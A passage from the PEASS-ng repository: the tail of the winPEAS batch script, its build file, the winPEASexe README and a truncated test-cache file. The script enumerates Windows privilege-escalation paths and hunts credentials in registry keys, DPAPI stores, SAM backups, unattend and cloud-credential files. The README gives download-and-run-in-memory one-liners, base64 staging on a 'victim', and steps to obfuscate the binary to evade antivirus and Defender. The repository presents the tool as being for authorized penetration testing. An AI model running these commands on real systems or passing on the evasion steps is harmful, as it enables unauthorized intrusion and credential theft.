/accepteula 2>nul ::ECHO. [i] EVERYONE ::accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul ::ECHO. [i] BUILTIN\Users ::accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul ::ECHO. [i] TODOS ::accesschk.exe -uwcqv "Todos" * /accepteula 2>nul ::ECHO. [i] %USERNAME% ::accesschk.exe -uwcqv %username% * /accepteula 2>nul ::ECHO. ::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR *" ::ECHO. [i] Check for weird service permissions for unexpected groups" ::accesschk.exe -uwcqv * /accepteula 2>nul CALL :T_Progress 1 ECHO. :ServiceBinaryPermissions CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS" ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services where wmic >nul 2>&1 if %errorlevel% equ 0 ( for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do ( for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO. ) ) else ( for /f "tokens=*" %%a in ('powershell -command "Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -and $_.PathName -notlike '*system32*'} | Select-Object -ExpandProperty PathName"') do ( for /f "tokens=1 delims= " %%b in ("%%a") do ( set "svcpath=%%b" set "svcpath=!svcpath:~1,-1!" if exist "!svcpath!" icacls "!svcpath!" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO. ) ) ) ECHO. CALL :T_Progress 1 :CheckRegistryModificationAbilities CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY" ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a ECHO. CALL :T_Progress 1 :UnquotedServicePaths CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS" ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe' ECHO. [i] The permissions are also checked and filtered using icacls ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO. ) ) CALL :T_Progress 2 ::wmic service get name,displayname,pathname,startmode | more | findstr /i /v "C:\\Windows\\system32\\" | findstr /i /v """ ECHO. ::CALL :T_Progress 1 :PATHenvHijacking CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable" ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. ) ECHO. CALL :T_Progress 1 :WindowsCredentials CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS" ECHO. CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT" ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault cmdkey /list ECHO. CALL :T_Progress 2 :DPAPIMasterKeys CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS" ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul CALL :T_Progress 2 CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS" ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi ECHO. ECHO.Looking inside %appdata%\Microsoft\Credentials\ ECHO. dir /b/a %appdata%\Microsoft\Credentials\ 2>nul CALL :T_Progress 2 ECHO. ECHO.Looking inside %localappdata%\Microsoft\Credentials\ ECHO. dir /b/a %localappdata%\Microsoft\Credentials\ 2>nul CALL :T_Progress 2 ECHO. :UnattendedFiles CALL :ColorLine " %E%33m[+]%E%97m Unattended files" IF EXIST %WINDIR%\sysprep\sysprep.xml ECHO.%WINDIR%\sysprep\sysprep.xml exists. IF EXIST %WINDIR%\sysprep\sysprep.inf ECHO.%WINDIR%\sysprep\sysprep.inf exists. IF EXIST %WINDIR%\sysprep.inf ECHO.%WINDIR%\sysprep.inf exists. IF EXIST %WINDIR%\Panther\Unattended.xml ECHO.%WINDIR%\Panther\Unattended.xml exists. IF EXIST %WINDIR%\Panther\Unattend.xml ECHO.%WINDIR%\Panther\Unattend.xml exists. IF EXIST %WINDIR%\Panther\Unattend\Unattend.xml ECHO.%WINDIR%\Panther\Unattend\Unattend.xml exists. IF EXIST %WINDIR%\Panther\Unattend\Unattended.xml ECHO.%WINDIR%\Panther\Unattend\Unattended.xml exists. IF EXIST %WINDIR%\System32\Sysprep\unattend.xml ECHO.%WINDIR%\System32\Sysprep\unattend.xml exists. IF EXIST %WINDIR%\System32\Sysprep\unattended.xml ECHO.%WINDIR%\System32\Sysprep\unattended.xml exists. IF EXIST %WINDIR%\..\unattend.txt ECHO.%WINDIR%\..\unattend.txt exists. IF EXIST %WINDIR%\..\unattend.inf ECHO.%WINDIR%\..\unattend.inf exists. ECHO. CALL :T_Progress 2 :SAMSYSBackups CALL :ColorLine " %E%33m[+]%E%97m SAM and SYSTEM backups" IF EXIST %WINDIR%\repair\SAM ECHO.%WINDIR%\repair\SAM exists. IF EXIST %WINDIR%\System32\config\RegBack\SAM ECHO.%WINDIR%\System32\config\RegBack\SAM exists. IF EXIST %WINDIR%\System32\config\SAM ECHO.%WINDIR%\System32\config\SAM exists. IF EXIST %WINDIR%\repair\SYSTEM ECHO.%WINDIR%\repair\SYSTEM exists. IF EXIST %WINDIR%\System32\config\SYSTEM ECHO.%WINDIR%\System32\config\SYSTEM exists. IF EXIST %WINDIR%\System32\config\RegBack\SYSTEM ECHO.%WINDIR%\System32\config\RegBack\SYSTEM exists. ECHO. CALL :T_Progress 3 :McAffeeSitelist CALL :ColorLine " %E%33m[+]%E%97m McAffee SiteList.xml" cd %ProgramFiles% 2>nul dir /s SiteList.xml 2>nul cd %ProgramFiles(x86)% 2>nul dir /s SiteList.xml 2>nul cd "%windir%\..\Documents and Settings" 2>nul dir /s SiteList.xml 2>nul cd %windir%\..\Users 2>nul dir /s SiteList.xml 2>nul ECHO. CALL :T_Progress 2 :GPPPassword CALL :ColorLine " %E%33m[+]%E%97m GPP Password" cd "%SystemDrive%\Microsoft\Group Policy\history" 2>nul dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul cd "%windir%\..\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history" 2>nul dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul ECHO. CALL :T_Progress 2 :CloudCreds CALL :ColorLine " %E%33m[+]%E%97m Cloud Credentials" cd "%SystemDrive%\Users" dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul cd "%windir%\..\Documents and Settings" dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul ECHO. CALL :T_Progress 2 :AppCMD CALL :ColorLine " %E%33m[+]%E%97m AppCmd" ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists. ECHO. CALL :T_Progress 2 :RegFilesCredentials CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials" ECHO. [i] Searching specific files that may contains credentials. ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password reg query HKCU\Software\ORL\WinVNC3\Password 2>nul CALL :T_Progress 2 ECHO.Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul CALL :T_Progress 2 ECHO.Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" CALL :T_Progress 2 ECHO.Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul CALL :T_Progress 2 ECHO.Looking inside HKCU\Software\TightVNC\Server reg query HKCU\Software\TightVNC\Server 2>nul CALL :T_Progress 2 ECHO.Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul CALL :T_Progress 2 ECHO.Looking inside HKCU\Software\OpenSSH\Agent\Keys CALL :T_Progress 2 reg query HKCU\Software\OpenSSH\Agent\Keys /s 2>nul cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.. dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll" cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..) ECHO. CALL :T_Progress 2 :ExtendedDriveScan if "%long%" == "true" ( CALL :ColorLine " %E%33m[+]%E%97m REGISTRY WITH STRING pass OR pwd" reg query HKLM /f passw /t REG_SZ /s reg query HKCU /f passw /t REG_SZ /s reg query HKLM /f pwd /t REG_SZ /s reg query HKCU /f pwd /t REG_SZ /s ECHO. ECHO. [i] Iterating through the drives ECHO. where wmic >nul 2>&1 if !errorlevel! equ 0 ( for /f %%x in ('wmic logicaldisk get name') do ( set tdrive=%%x if "!tdrive:~1,2!" == ":" ( %%x CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config" findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul ECHO. CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\" dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\" ECHO. ) ) ) else ( for /f %%x in ('powershell -command "Get-PSDrive -PSProvider FileSystem | Where-Object {$_.Root -match ':'} | Select-Object -ExpandProperty Name"') do ( %%x: CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config" findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul ECHO. CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\" dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\" ECHO. ) ) CALL :T_Progress 2 ) ELSE ( CALL :T_Progress 2 ) TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Idle ECHO.--- ECHO.Scan complete. PAUSE >NUL EXIT /B :::-Subroutines :SetOnce REM :: ANSI escape character is set once below - for ColorLine Subroutine for /F %%a in ('echo prompt $E ^| cmd') do set "ESC=%%a" SET "E=%ESC%[" SET "PercentageTrack=0" EXIT /B :T_Progress SET "Percentage=%~1" SET /A "PercentageTrack=PercentageTrack+Percentage" TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Scanning... !PercentageTrack!%% EXIT /B :ColorLine SET "CurrentLine=%~1" ECHO.!CurrentLine! EXIT /B ================================================ FILE: winPEAS/winPEASexe/CMakeLists.txt ================================================ cmake_minimum_required(VERSION 3.16) project(winPEAS_dotnet NONE) set(PROJECT_FILE "${CMAKE_CURRENT_SOURCE_DIR}/winPEAS.csproj") find_program(DOTNET_EXECUTABLE dotnet) find_program(MSBUILD_EXECUTABLE msbuild) find_program(XBUILD_EXECUTABLE xbuild) if(DOTNET_EXECUTABLE) set(BUILD_TOOL "${DOTNET_EXECUTABLE}") set(BUILD_ARGS build "${PROJECT_FILE}" -c Release) elseif(MSBUILD_EXECUTABLE) set(BUILD_TOOL "${MSBUILD_EXECUTABLE}") set(BUILD_ARGS "${PROJECT_FILE}" /p:Configuration=Release) elseif(XBUILD_EXECUTABLE) set(BUILD_TOOL "${XBUILD_EXECUTABLE}") set(BUILD_ARGS "${PROJECT_FILE}" /p:Configuration=Release) else() message(FATAL_ERROR "dotnet, msbuild, or xbuild is required to build winPEAS") endif() add_custom_target(winpeas ALL COMMAND ${BUILD_TOOL} ${BUILD_ARGS} WORKING_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}" ) ================================================ FILE: winPEAS/winPEASexe/README.md ================================================ # Windows Privilege Escalation Awesome Script (.exe) ![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png) **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)** Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)** [![youtube](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/screen.png)](https://youtu.be/66gOwXMnxRI) ## Quick Start **.Net >= 4.5.2 is required** Precompiled binaries: - Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/peass-ng/PEASS-ng/releases/latest)** or **compile it yourself** (read instructions for compilation). ```bash # Get latest release $url = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" # One liner to download and execute winPEASany from memory in a PS shell $wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("") # The previous cmd in 2 lines $wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use # Download to disk and execute (super noisy) $wc = New-Object System.Net.WebClient $wc.DownloadFile("https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe", "winPEASany_ofs.exe") .\winPEASany_ofs.exe # Load from disk in memory and execute: $wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS.exe"))); [winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use # Load from disk in base64 and execute ##Generate winpeas in Base64: [Convert]::ToBase64String([IO.File]::ReadAllBytes("D:\Users\user\winPEAS.exe")) | Out-File -Encoding ASCII D:\Users\user\winPEAS.txt ##Now upload the B64 string to the victim inside a file or copy it to the clipboard ##If you have uploaded the B64 as afile load it with: $thecontent = Get-Content -Path D:\Users\victim\winPEAS.txt ##If you have copied the B64 to the clipboard do: $thecontent = "aaaaaaaa..." #Where "aaa..." is the winpeas base64 string ##Finally, load binary in memory and execute $wp = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($thecontent)) [winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use # Loading from file and executing a winpeas obfuscated version ##Load obfuscated version $wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS-Obfuscated.exe"))); $wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions sometimes this is different from "winPEAS.Program" []::Main("") #Used the ReflectedType name to execute winpeas ``` ## Parameters Examples ```bash winpeas.exe -h # Get Help winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs) winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed winpeas.exe notcolor #Do not color the output winpeas.exe domain #enumerate also domain information winpeas.exe wait #wait for user input between tests winpeas.exe debug #display additional debug information winpeas.exe log #log output to out.txt instead of standard output winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpeas check (runs linpeas.sh in default WSL distribution) with custom linpeas.sh URL (if not provided, the default URL is: https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh) winpeas.exe -lolbas #Execute also additional LOLBAS search check ``` ## Basic information The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments. New in this version: - Detect potential GPO abuse by flagging writable SYSVOL paths for GPOs applied to the current host and by highlighting membership in the "Group Policy Creator Owners" group. - Flag installed OEM utilities such as ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4, highlighting writable updater folders and world-accessible pipes tied to recent CVEs. It should take only a **few seconds** to execute almost all the checks and **some seconds/minutes during the lasts checks searching for known filenames** that could contain passwords (the time depened on the number of files in your home folder). By default only **some** filenames that could contain credentials are searched, you can use the **searchall** parameter to search all the list (this could will add some minutes). The tool is based on **[SeatBelt](https://github.com/GhostPack/Seatbelt)**. ## Where are my COLORS?!?!?! The **ouput will be colored** using **ansi** colors. If you are executing `winpeas.exe` **from a Windows console**, you need to set a registry value to see the colors (and open a new CMD): ``` REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 ``` Below you have some indications about what does each color means exacty, but keep in mind that **Red** is for something interesting (from a pentester perspective) and **Green** is something well configured (from a defender perspective). ![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/colors.png) ## Instructions to compile you own obfuscated version
    Details In order to compile an **ofuscated version** of Winpeas and bypass some AVs you need to ** install dotfuscator ** in *VisualStudio*. To install it *open VisualStudio --> Go to Search (CTRL+Q) --> Write "dotfuscator"* and just follow the instructions to install it. To use **dotfuscator** you will need to **create an account** *(they will send you an email to the address you set during registration*). Once you have installed and activated it you need to: 1. **Compile** winpeas in VisualStudio 2. **Open dotfuscator** app 3. **Open** in dotfuscator **winPEAS.exe compiled** 4. Click on **Build** 5. The **single, minimized and obfuscated binary** will appear in a **folder called Dotfuscator inside the folder were winPEAS.exe** and the DLL were (this location will be saved by dotfuscator and by default all the following builds will appear in this folder). **I'm sorry that all of this is necessary but is worth it. Dotfuscator minimizes a bit the size of the executable and obfuscates the code**. ![](https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASexe/images/dotfuscator.PNG) **IMPORTANT**: Note that Defender will higly probable delete the winpeas iintial unobfuscated version, so you need to set as expections the origin folder of Winpeas and the folder were the obfuscated version will be saved: ![](https://user-images.githubusercontent.com/1741662/148418852-e7ffee6a-c270-4e26-bf38-bb8977b3ad9c.png)
    ## Checks
    Details - **System Information** - [x] Basic System info information - [x] Use embedded definitions to flag known exploitable vulnerabilities for the running Windows version (version-based) - [x] Enumerate Microsoft updates - [x] PS, Audit, WEF and LAPS Settings - [x] LSA protection - [x] Credential Guard - [x] WDigest - [x] Number of cached cred - [x] Environment Variables - [x] Internet Settings - [x] Current drives information - [x] AV - [x] Windows Defender - [x] UAC configuration - [x] NTLM Settings - [x] Local Group Policy - [x] Applocker Configuration & bypass suggestions - [x] Printers - [x] Named Pipes - [x] Named Pipe ACL abuse candidates - [x] AMSI Providers - [x] SysMon - [x] .NET Versions - **Users Information** - [x] Users information - [x] Current token privileges - [x] Clipboard text - [x] Current logged users - [x] RDP sessions - [x] Ever logged users - [x] Autologin credentials - [x] Home folders - [x] Password policies - [x] Local User details - [x] Logon Sessions - **Processes Information** - [x] Interesting processes (non Microsoft) - **Services Information** - [x] Interesting services (non Microsoft) information - [x] Modifiable services - [x] Writable service registry binpath - [x] PATH Dll Hijacking - **Applications Information** - [x] Current Active Window - [x] Installed software - [x] AutoRuns - [x] Scheduled tasks - [x] Device drivers - **Network Information** - [x] Current net shares - [x] Mapped drives (WMI) - [x] hosts file - [x] Network Interfaces - [x] Listening ports - [x] Firewall rules - [x] DNS Cache (limit 70) - [x] Internet Settings - **Cloud Metadata Enumeration** - [x] AWS Metadata - [x] GCP Metadata - [x] Azure Metadata - **Windows Credentials** - [x] Windows Vault - [x] Credential Manager - [x] Saved RDP settings - [x] Recently run commands - [x] Default PS transcripts files - [x] DPAPI Masterkeys - [x] DPAPI Credential files - [x] Remote Desktop Connection Manager credentials - [x] Kerberos Tickets - [x] Wifi - [x] AppCmd.exe - [x] SSClient.exe - [x] SCCM - [x] Security Package Credentials - [x] AlwaysInstallElevated - [x] WSUS (HTTP downgrade + CVE-2025-59287 exposure) - **Browser Information** - [x] Firefox DBs - [x] Credentials in firefox history - [x] Chrome DBs - [x] Credentials in chrome history - [x] Current IE tabs - [x] Credentials in IE history - [x] IE Favorites - [x] Extracting saved passwords for: Firefox, Chrome, Opera, Brave - **Interesting Files and registry** - [x] Putty sessions - [x] Putty SSH host keys - [x] SuperPutty info - [x] Office365 endpoints synced by OneDrive - [x] SSH Keys inside registry - [x] Cloud credentials - [x] Check for unattended files - [x] Check for SAM & SYSTEM backups - [x] Check for cached GPP Passwords - [x] Check for and extract creds from McAffe SiteList.xml files - [x] Possible registries with credentials - [x] Possible credentials files in users homes - [x] Possible password files inside the Recycle bin - [x] Possible files containing credentials (this take some minutes) - [x] User documents (limit 100) - [x] Oracle SQL Developer config files check - [x] Slack files search - [x] Outlook downloads - [x] Machine and user certificate files - [x] Office most recent documents - [x] Hidden files and folders - [x] Executable files in non-default folders with write permissions - [x] WSL check - **Events Information** - [x] Logon + Explicit Logon Events - [x] Process Creation Events - [x] PowerShell Events - [x] Power On/Off Events - **Additional (slower) checks** - [x] LOLBAS search - [x] run **[linpeas.sh](https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh)** in default WSL distribution
    ## TODO - Add more checks If you want to help with any of this, you can do it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues)** or you can submit a pull request. If you find any issue, please report it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues)**. **WinPEAS** is being **updated** every time I find something that could be useful to escalate privileges. ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. ================================================ FILE: winPEAS/winPEASexe/Tests/.vs/winPEAS.Tests.csproj.dtbcache.json ================================================ {"RootPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\Tests","ProjectFileName":"winPEAS.Tests.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"Properties\\AssemblyInfo.cs"},{"SourceFile":"SmokeTests.cs"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.8.AssemblyAttributes.cs"}],"References":[{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Portable.BouncyCastle.1.9.0\\lib\\net40\\BouncyCastle.Crypto.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Costura.Fody.5.7.0\\lib\\netstandard1.0\\Costura.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.SqlServer.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.CSharp.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Microsoft.CodeCoverage.16.10.0\\lib\\net45\\Microsoft.VisualStudio.CodeCoverage.Shim.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\MSTest.TestFramework.2.2.5\\lib\\net45\\Microsoft.VisualStudio.TestPlatform.TestFramework.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\MSTest.TestFramework.2.2.5\\lib\\net45\\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ComponentModel.Composition.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ComponentModel.DataAnnotations.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference 